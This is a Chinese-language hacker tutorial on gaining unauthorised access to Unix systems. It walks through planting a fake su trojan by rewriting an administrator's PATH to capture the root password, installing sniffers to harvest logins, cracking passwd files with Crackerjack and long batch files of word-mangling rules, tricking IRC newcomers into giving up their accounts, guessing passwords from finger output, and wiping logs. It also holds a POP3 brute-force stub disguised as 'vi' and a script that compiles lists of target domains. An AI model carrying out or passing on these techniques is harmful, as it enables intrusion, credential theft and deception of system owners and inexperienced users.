获取你的第一个帐号

  有很多方法可以获得一个起始帐号.这里将深入每个方面帮助你开始.你所需的只是一个好的帐号,用来获得数百个帐号.想一想这:你进入一个很好的可以利用的系统(大多是Linux机器;),夺取root权限并装上一个Sniffer(嗅探器);这个TCP sniffer 将监测到网络上任何login(登陆)过程并记录下所有TelnetFtp或拨号进出的Login 名和口令;这样即使是一个小以太网你也可获得大约100个口令,如果是一个更大的网络供应商你就会得到全世界的数百个帐号!这一切,你只要有某个可利用系统的一个好帐号和口令就可做到!如果你看起来无法利用某系统的root权限,那就拿它来破解口令,用来和那些但没有shell帐号或磁盘空间的其他hackerIRC使用者交换.决不要把一个你有root权限的系统的口令给出去!你自己留着它!

OK,让我们开始深入获取你的第一个帐号的方法.Go!


破解passwd 文档

 

如果你是按照心中正确的框架去hacking的话,一般都是先运行破解程序直到得到一个可以进入此系统的好帐号.然后Login上去看看能否夺取系统的root权限.如果可以,拿了root,移取用得着的文档到你的子目录里,抹去你的在场痕迹,清除所有日志.这样就准备好可以安装Sniffer了.

为何要去破解那些只用24小时就可破解出大部分口令的系统?我们的目的不仅仅是正在hack的机器,还有那些与之相连的机器.如果某系统没有利用价值,不要在它上面浪费时间,去寻找下一个目标.后注:如果你仅仅是为了得到上面所说的交换帐号的口令那又另当别论.

得到一个管理员的帐号后,你可能会想读一读他的历史文档,看看他是否曾用过SU命令成为root.如果有,你就可以用SU特洛伊木马帮你夺取root口令.它如此工作:你更改他(管理员)的Shell脚本使得一隐藏目录(.term)被很好安置在搜寻路径里所有目录之前.把伪SU程序放在该.term(或其他)目录里.他键下SU,对他来说一切都如常,在提示下他键入root口令,然后口令就悄悄地被拷贝到/tmp/.elm69log文档里,同时删除伪SU文件,并返回一个摽诹畲頂的信息让他再试一次.管理员一定认为是他输入错了,便再次运行SU,但这回是真的SU了.

在后面的uuencode过的附录里,你可找到假SU程序.

 

这是DOC文档:

Fake SU by Nfin8 - i-e

IRC: /msg i-e

Easy as 123 ...

1.更改路径到你已有访问权限的用户帐号上,此前你应已从历史文档中看到他曾用过SU命令;先建立放SU特洛伊程序的目录.最好是.term.elm

2.确定已编辑过su.c的头部指向你所用路径,使得SU特洛伊可自我删除并在第二次尝试让真SU程序运行.

3.把所有文件放进目标目录,并编译su.c

gcc su.c -o su

然后删除SU以外的所有文件.一切搞定!

.bash_profile 结构如下:

# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin
ENV=$HOME/.bashrc
USERNAME=""

export USERNAME ENV PATH

把第一行改为:PATH=$HOME/.term:$PATH:$HOME/bin

当系统管理员运行SU时,就会先运行在.term里的SU特洛伊然后报告口令出错.SU特洛伊程序会在/tmp目录创建包含键入的root口令(或帐户口令)的隐藏文件.如果是非root帐户,它还记录帐户名.然后SU特洛伊自我删除使得下次尝试将运行真正的SU程序.

你可在/etc目录下的passwd文档前部找到管理员的用户名.只需打:more passwd

你可确信passwd文档的头一二个帐户就是管理员的,虽然有时你也能找到其他人的目录如/staff/username

历史文档在每个用户目录里.通过阅读它们,你可看到该用户最近使用过的命令,有时能看到最近的100多个命令.寻找.bash_historyhistory文件,你可用more命令读它们:more .bash_history,也可:more .b*more .b(然后按键盘上的Tab键).

OK,现在你需要一个好的password破解程序.下一章你可看到在没有帐号时如何从系统夺取password文档.但是it is catch 22(我不懂了?:译者),你还是要用到password破解程序.

你需要下列三样东东:

1Password破解程序

2. 好的字典档

3Password 文档

初学者最好的password破解程序当数Crackerjack,搜寻Web页可以很容易找到它.Down下来准备开始.如果你已有所入门,可down一个unix版本的Cjack并在shell环境下运行它.但如你是初学,down一个DOS/OS/2版本好了.

此外还要找一些好字典档.最好的字典档就是名字(names)了.你会在网络上发现最不可靠的口令如男孩的女友名,女孩的男友名啦:)象如'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords'hackersdict’这样为名的字典档是最好的.

装载crackerjack如:[D:\jack]jack

Cracker Jack version 1.4 for OS/2 and DOS (386)
Copyright (C) 1993
The JackalDenmark
PWfile(s) : domain.com.passwd
Wordfile : domain.com.passwd

上面把password文档作为字典档.这会让你先找出那些用登陆名(Login name)作口令的用户,如果用真名(real name )或公司名之类的信息的话,也能马上猜中.这样你就不用苦苦等候程序搜索整个字典档了.

 

如果想hash(我译做:扩充)字典档以得到更多的词量,可参读crackerjackDOC文档.

所谓hashing(扩充)就是你可告诉crackerjack更改字典档中的词例如在单词的前后加一些数字或字母,就象sandy11sandy.你会发现很多用户这样做并以为这更可靠.

下面就是为口令文档和字典档写的hashing文件.通过观察它们,你就会明白你如何修改它们或创建新的hashing文件以满足自己的需要.

------------ start of dicthash.bat
@echo off
cls
echo - THIS FILE FOR DOS MACHINES
echo ----------------------------------------------------------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file
along with your dict and
echo - password file. Then use this batch file using the following format:
echo -
echo - dicthash.bat dictfilename.ext passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - dicthash will first load jack running the dict file against your
echo - password file in both cases
then it will add numbers 0-9 both to
echo - the begining and end of every dict word. This will take a while

echo - so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - ii@dormroom.pyro.net
echo -
echo - Mail me some of your hits
let me know how this works for you ;)

jpp -lower %1 | jack -stdin %2
jpp %1 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2

---------------- end of dicthash.bat

---------------- start of jackhash.bat
@echo off
cls
echo - THIS FILE FOR DOS
echo ----------------------------------------------------------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file
along with your password file.
echo - Then use this batch file using the following format:
echo -
echo - jackhash.bat passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - jackhash will first load jack running the passwd file against
echo - itself in both upper and lower cases
then it will add numbers 0-9
echo - both to the begining and end of every dict word. This will take
echo - a while
so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - ii@dormroom.pyro.net
echo -
echo - Mail me some of your hits
let me know how this works for you ;)

jpp -gecos:5 -lower %1 | jack -stdin %1
jpp -gecos:5 %1 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1


jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1


jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1


jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1
jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1
jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

--------------- end of jackhash.bat

 

即使没有帐号也可夺取password文档,看下一章吧.


与新手交谈

还有其他方法不用费那么大力就可获得帐号.在IRC上建一与hacking有关名字的频道等候或加入已有的IRC频道,如:#hacking #unix #unixhacking #hack #hackers #hacker #virus #virii
#hackers_hideout
,或任何其他你能找到的.

现在你要寻找的就是那些正学习和使用shell的新丁.网络总是会有一些人没你知得多的人.留意那些问一些新手问题又得不到答案甚至被踢出频道的家伙,那就是你的目标了:)

/msg发消息给他使得其他人看不出你和他交谈.然后问他问题,尝试帮助他,但不必太尽力;).最后告诉他你可为他login上去帮他解决问题.这有可能让你拿到passwd 文档或其他东东.应承他任何事(promise him the world)以获取login口令.现在你不就有了起始帐号可以开始你的学习进程了.如果在夺取系统的root时候你不想暴露自己,可告诉他其他吸引他的东东让他在你侦听系统的其他口令时忙着.

 

因此现在如果你在IRC上给某人你的login名和口令时,记住我上面说的话,不过我一直都尽量帮助人们学习啦,因此我可以说我对待碰见的朋友都是真诚老实的.


困难的方法

这是另一种方法.可以确定的说,大多数的大系统都有用户在使用不可靠口令.在shell环境下:

finger @domainname.com 我用真正的域名:

[10:35am][/home/ii]finger @starnet.net

[starnet.net]
Login Name Tty Idle Login Time Office Office Phone
chris Chris Myers p2 4:46 Jan 27 11:19
mike Mike Suter p1 4:57 Jan 22 16:14
mike Mike Suter p5 3d Jan 16 15:35
root System Administrator p3 4:59 Jan 16 10:17
wendt Catherine Wendt-Bern p0 3 Jan 21 14:49
[10:35am][/home/ii]

 

现在我们可以尝试这样登陆:

Login:chris Passwword 试一试:ChrischrismyersMyerschrismyers,等等…

这个看起来不错:wendt:Catherine:catherine

下面是另一个命令:

[10:35am][/home/ii]finger -l @starnet.net
[starnet.net]


Login: mike Name: Mike Suter
Directory: /usra/staff/mike Shell: /bin/csh
On since Wed Jan 22 16:14 (CST) on ttyp1
idle 5:26from mikesbox.starnet.net
On since Thu Jan 16 15:35 (CST) on ttyp5
idle 3 days 22:00from mikesbox
Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk
No Plan.

Login: root Name: System Administrator
Directory: /root Shell: /bin/csh
On since Thu Jan 16 10:17 (CST) on ttyp3
idle 5:28from mikesbox.starnet.net
Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net
Mail forwarded to:
\chris@admin.starnet.net
#\chris@admin.starnet.net
\mike@admin.starnet.net
No Plan.

Login: wendt Name: Catherine Wendt-Bernal
Directory: /usra/staff/wendt Shell: /bin/csh
On since Tue Jan 21 14:49 (CST) on ttyp0
idle 0:02from veggedout
No Plan.

你有更多可利用的消息了;)

我知道这让你厌烦...

记住你的尝试会被记录,所以如果你成功进入并获得root权限的话,记得清除日志:)

以下是一个成功进入后用得着的C小程序.

pop3hack.c
----- cut here

#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>

/* First
define the POP-3 port - almost always 110 */
#define POP3_PORT 110

/* What we want our program to be masked as
so nosy sys admin's don't kill us */
#define MASKAS "vi"

/* Repeat connect or not - remember
logs still report a connectionso
you might want to set this to 0. If set to 0
it will hack until it finds
1 user/password then exit. If set to 1
it will reconnect and try more
user/passwords (until it runs out of usernames) */
#define RECONNECT 0

----- cut here

 

你也可自己写一小perl脚本程序,能自动finger 列表中的域名并记录响应信息到文件中,finger完后返回并尝试使用pop3端口,以 用户名-用户名(或其他信息)方式(译注:即口令用用户名或其他信息)登陆,记录响应信息到另一文件中.(这就是Emailcrk的原理)

FTPrs.internic.net中,在域名目录中你会找到:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

Down下这些文档,在攻击目标域名上运行getdomain.pl(下面的脚本),如:

"perl getdomain.pl com.zone com >com.all"
这条指令所做的就是解开所.com的域名并放在comm.all文档中.

如果想解开.EDU,只需:

perl getdomain.pl edu.zone edu >edu.all

现在你就有了名为edu.all的域名列表供你用了

下面是perl 脚本:

getdomain.pl
---- cut here
#!/usr/bin/perl

# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e or /msg i^e
#
# Retrieve command line arguments.
my($inputfile
$domain) = @ARGV;
usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.
open(INFILE
"<$inputfile") or die("Cannot open file $inputfile for reading!\n");
my(@lines) = <INFILE>;

# Initialize main data structure.
my(%hash) = {};
my($key) = "";

foreach (@lines) {
$key = (split(/\ /))[0];
chop($key);
next if ((($key =~ tr/.//) < 1) ||
(uc($domain) ne uc(((split(/\./
$key))[-1]))) ||
($key =~ m/root-server/i));
$hash{$key}++;
}

# Close input file and output data structure to STDOUT.
close(INFILE);

foreach (sort(keys(%hash))) {
print "$_\n";
}

sub usage {
print("\n\ngetdomain:\n");
print("Usage: getdomain [inputfile] [search]\n\n");
print("Where [search] is one of \'com\'
\'edu\'\'gov\'\'mil\' or \'net\'.\n\n");
exit(0);
}

0;

---- cut here - end of script -----

要使用上述脚本,你只需把上面几行copy下来命名为getdomain.pl,拷贝到unix系统中,运行: chmod +x getdomain.pl

即可.

这时就可运行上面所讲的命令行了.


使用Mount得到unix系统访问权限

这并不难而且网络上有很多系统是mountable(可共享的)的.Mount是一个unix命令允许你在远程机器驱动器安装系统.这样一来,你既可从其他机器进行安装过程也可仅仅共享网络中的磁盘和目录.问题在于许多管理员过于精通unix命令和设置.或者是太懒惰而把磁盘设置为全局属性,却不明白全局mount(连接或共享)该磁盘,别人就能获得对他们的用户目录的写权限.

